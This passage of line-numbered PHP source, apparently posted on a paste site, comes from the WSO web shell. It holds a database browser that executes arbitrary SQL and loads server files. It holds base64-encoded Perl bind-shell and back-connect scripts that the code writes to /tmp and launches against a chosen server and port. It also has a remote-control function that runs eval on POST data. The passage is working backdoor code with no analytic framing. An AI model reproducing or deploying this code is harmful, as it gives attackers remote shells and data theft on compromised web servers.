  1838. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1839. }
  1840. echo '</select>';
  1841. }
  1842. else echo $tmp;
  1843. }else
  1844. echo $tmp;
  1845. echo "</td>
  1846.  
  1847. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1848. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1849. </tr>
  1850. </table>
  1851. <script>
  1852. s_db='".@addslashes($_POST['sql_base'])."';
  1853. function fs(f) {
  1854. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1855. if(f.p1) f.p1.value='';
  1856. if(f.p2) f.p2.value='';
  1857. if(f.p3) f.p3.value='';
  1858. }
  1859. }
  1860. function st(t,l) {
  1861. d.sf.p1.value = 'select';
  1862. d.sf.p2.value = t;
  1863. if(l && d.sf.p3) d.sf.p3.value = l;
  1864. d.sf.submit();
  1865. }
  1866. function is() {
  1867. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1868. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1869. }
  1870. </script>";
  1871. if(isset($db) && $db->link){
  1872. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1873. if(!empty($_POST['sql_base'])){
  1874. $db->selectdb($_POST['sql_base']);
  1875. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1876. $tbls_res = $db->listTables();
  1877. while($item = $db->fetch($tbls_res)) {
  1878. list($key, $value) = each($item);
  1879. if(!empty($_POST['sql_count']))
  1880. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1881. $value = htmlspecialchars($value);
  1882. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1883. }
  1884. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1885. if(@$_POST['p1'] == 'select') {
  1886. $_POST['p1'] = 'query';
  1887. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1888. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1889. $num = $db->fetch();
  1890. $pages = ceil($num['n'] / 30);
  1891. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1892. echo " of $pages";
  1893. if($_POST['p3'] > 1)
  1894. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1895. if($_POST['p3'] < $pages)
  1896. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1897. $_POST['p3']--;
  1898. if($_POST['type']=='pgsql')
  1899. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1900. else
  1901. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1902. echo "<br><br>";
  1903. }
  1904. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1905. $db->query(@$_POST['p2']);
  1906. if($db->res !== false) {
  1907. $title = false;
  1908. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1909. $line = 1;
  1910. while($item = $db->fetch()) {
  1911. if(!$title) {
  1912. echo '<tr>';
  1913. foreach($item as $key => $value)
  1914. echo '<th>'.$key.'</th>';
  1915. reset($item);
  1916. $title=true;
  1917. echo '</tr><tr>';
  1918. $line = 2;
  1919. }
  1920. echo '<tr class="l'.$line.'">';
  1921. $line = $line==1?2:1;
  1922. foreach($item as $key => $value) {
  1923. if($value == null)
  1924. echo '<td><i>null</i></td>';
  1925. else
  1926. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1927. }
  1928. echo '</tr>';
  1929. }
  1930. echo '</table>';
  1931. } else {
  1932. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1933. }
  1934. }
  1935. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1936. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1937. echo htmlspecialchars($_POST['p2']);
  1938. echo "</textarea><br/><input type=submit value='Execute'>";
  1939. echo "</td></tr>";
  1940. }
  1941. echo "</table></form><br/>";
  1942. if($_POST['type']=='mysql') {
  1943. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1944. if($db->fetch())
  1945. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1946. }
  1947. if(@$_POST['p1'] == 'loadfile') {
  1948. $file = $db->loadFile($_POST['p2']);
  1949. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1950. }
  1951. } else {
  1952. echo htmlspecialchars($db->error());
  1953. }
  1954. echo '</div>';
  1955. wsoFooter();
  1956. }
  1957. function actionNetwork() {
  1958. wsoHeader();
  1959. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1960. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1961. echo "<h1>Network tools</h1><div class=content>
  1962.  
  1963. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1964. <span>Bind port to /bin/sh [perl]</span><br/>
  1965. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1966. </form>
  1967. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1968. <span>Back-connect [perl]</span><br/>
  1969. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1970.  
  1971. </form><br>";
  1972. if(isset($_POST['p1'])) {
  1973. function cf($f,$t) {
  1974. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1975. if($w){
  1976. @fwrite($w,@base64_decode($t));
  1977. @fclose($w);
  1978. }
  1979. }
  1980. if($_POST['p1'] == 'bpp') {
  1981. cf("/tmp/bp.pl",$bind_port_p);
  1982. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1983. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1984. unlink("/tmp/bp.pl");
  1985. }
  1986. if($_POST['p1'] == 'bcp') {
  1987. cf("/tmp/bc.pl",$back_connect_p);
  1988. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1989. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1990. unlink("/tmp/bc.pl");
  1991. }
  1992. }
  1993. echo '</div>';
  1994. wsoFooter();
  1995. }
  1996. function actionRC() {
  1997. if(!@$_POST['p1']) {
  1998. $a = array(
  1999. "uname" => php_uname(),
  2000. "php_version" => phpversion(),
  2001. "wso_version" => WSO_VERSION,
  2002. "safemode" => @ini_get('safe_mode')
  2003. );
  2004. echo serialize($a);
  2005. } else {
  2006. eval($_POST['p1']);
  2007. }
  2008. }
  2009. if( empty($_POST['a']) )
  2010. if(isset($default_action) && function_exists('action' . $default_action))
  2011. $_POST['a'] = $default_action;
  2012. else
  2013. $_POST['a'] = 'SecInfo';
  2014. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2015. call_user_func('action' . $_POST['a']);
  2016. function FetchURL($url) {
  2017. $ch = curl_init();
  2018. curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  2019. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2020. curl_setopt($ch, CURLOPT_HEADER, false);
  2021. curl_setopt($ch, CURLOPT_URL, $url);
  2022. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2023. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  2024. $data = curl_exec($ch);
  2025. if(!$data) {
  2026. return false;
  2027. }
  2028. return $data;
  2029. }
  2030. exit;
Add Comment
Please, Sign In to add comment